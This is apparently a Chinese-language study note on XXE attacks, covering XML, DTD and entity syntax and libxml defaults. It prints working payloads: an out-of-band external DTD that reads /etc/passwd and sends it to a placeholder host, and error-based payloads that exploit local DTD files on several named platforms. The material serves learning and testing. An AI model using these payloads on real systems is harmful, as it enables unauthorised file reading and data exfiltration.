XXE 小结

先搬上先知的一段总结

本页目录
  1. 0x01 简介
  2. i. XML
  3. ii. DTD
  4. iii. ENTITY
  5. iv. 可能造成的危害
  6. v. Libxml 与 PHP
  7. 0x02 OOB XXE
  8. 0x03 Error XXE
  9. i. Local DTD
  10. ii. Without Local DTD
  11. 参考资料

0x01 简介

先搬上先知的一段总结


i. XML

XML是类似HTML的标记语言,但它们有所不同。

  • 其一,HTML用于表现数据,关注数据的表现形式,XML用于存储和传输数据,关注数据本身。
  • 其二,HTML的标签是预定义的,而XML的标签是自定义的,或者说,任意的。
  • 此外,XML语法更严格,其标签必须闭合且正确嵌套,大小写敏感,属性值必须加引号,保留连续空白符。
  • <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

ii. DTD

XML元素以形如 <tag>foo</tag> 的标签开始和结束,如果元素内部出现如 < 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义了五个实体引用,即用&lt; &gt; &amp; &apos; &quot; 替换 < > & ' " 。

实际上,实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。DTD是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

DTD有两种形式:

内部 DTD:
<!DOCTYPE 根元素 [元素声明]>
外部 DTD:
<!DOCTYPE 根元素 SYSTEM "存放元素声明的文件的URI,可以是本地文件或网络文件" [可选的元素声明]>
<!DOCTYPE 根元素 PUBLIC "PUBLIC_ID DTD的名称" "外部DTD文件的URI">
( PUBLIC表示 DTD文件是公共的,解析器先分析 DTD名称,没查到再去访问 URI)

iii. ENTITY

我们可以在元素声明中自定义实体,和DTD类似也分为内部实体和外部实体,此外还有普通实体和参数实体之分:

声明

<!DOCTYPE 根元素 [<!ENTITY 内部普通实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY 外部普通实体名 SYSTEM "外部实体的URI">]>
<!DOCTYPE 根元素 [<!ENTITY % 内部参数实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY % 外部参数实体名 SYSTEM "外部实体的URI">]>
除了 SYSTEM关键字外,外部实体还可用 PUBLIC关键字声明。
URL 支持的协议

XXE 小结 · 图示

引用

&普通实体名; //经实验,普通实体既可以在 DTD 中,也可以在 XML 中引用,可以在声明前引用,可以在在元素声明内部引用
%参数实体名; //经实验,参数实体只能在 DTD 中引用,不能在声明前引用,不能在元素声明内部引用

注意事项

  1. 外部 DTD 中,如果外部(普通|参数)实体中想要引用内部参数实体,需要在此实体上层添加内部(普通|参数)实体声明,并先引用上层内部实体

    原因可能是在内部实体中引用会将值解析进去,而外部实体只会直接请求 URL 字符串,不解析其中的引用

    外部 test.dtd 文件
    <!------- Failure ------->
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % send SYSTEM "http://xxx/?%file;">
    %send;
    <!------- Success ------->
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % top '
    <!ENTITY &#x25; send SYSTEM "http://xxx/?%file;">
    '>
    %top;
    %send;
  2. 在内部 DTD 中,不能在实体声明中出现实体引用

    <!------- Failure ------->
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ENTITY % in "123">
    <!ENTITY % out "%in;">
    %out;
    ]>

    会报错 PEReferences forbidden in internal subset in Entity,XML 文档中对此有所提及

    Well-formedness constraint: PEs in Internal Subset

    In the internal DTD subset, parameter-entity references must not occur within markup declarations; they may occur where markup declarations can occur. (This does not apply to references that occur in external parameter entities or to the external subset.)

iv. 可能造成的危害

  • 本地文件读取
  • 内网访问,主机/端口扫描
  • 网络访问
  • 系统命令执行(特定协议,如PHP的expect)
  • 拒绝服务(嵌套引用,指数爆炸)

v. Libxml 与 PHP

自 libxml 2.9.0 以后,开始默认禁止解析外部实体,与 PHP 版本没有根本性关系

v2.9.5: Sep 04 2017
Security:Detect infinite recursion in parameter entities (Nick Wellnhofer)
Prevent unwanted external entity reference
v2.9.2: Oct 16 2014
Security:
Fix for CVE-2014-3660 billion laugh variant (Daniel Veillard),
CVE-2014-0191 Do not fetch external parameter entities (Daniel Veillard)
2.9.1: Apr 19 2013
Activate detection of encoding in external subset
2.9.0: Sep 11 2012
Do not fetch external parsed entities

0x02 OOB XXE

payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY % load SYSTEM "http://xxx/external.dtd">
%load;
]>

external.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % top '
<!ENTITY &#x25; send SYSTEM "http://xxx/?%file;">
'>
%top;
%send;

0x03 Error XXE

通常用于无法访问外网,加载自定义外部 DTD 时候采用,需要服务器开启相关报错

i. Local DTD

作者假设在服务器内发现一个sip-app_1_0.dtd文件,其内容如下

…
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>
…

作者payload,通过替换%condition;值,由于是由payload发起调用dtd,所以在有两个同名实体的情况下,以第一个为主,即payload中的声明为主

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
<!ENTITY % condition 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message>any text</message>

本地 DTD 文件

作者发现了几个常见的本地 DTD 文件

Linux 系统

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Windows系统

<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

思科WebEx

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile服务器

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

多平台IBM WebSphere应用

<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

ii. Without Local DTD

来自于 P 牛的知识星球,貌似在嵌套实体中,可以在标记声明中出现内部参数引用?

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % NUMBER '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%NUMBER;
]>
<message>any text</message>

XXE 小结 · 图示

参考资料

  1. http://docs.ioin.in/writeup/mohemiv.com/_all_exploiting_xxe_with_local_dtd_files_/index.html
  2. https://xz.aliyun.com/t/2571
  3. https://articles.zsxq.com/id_85l86vkeu8zf.html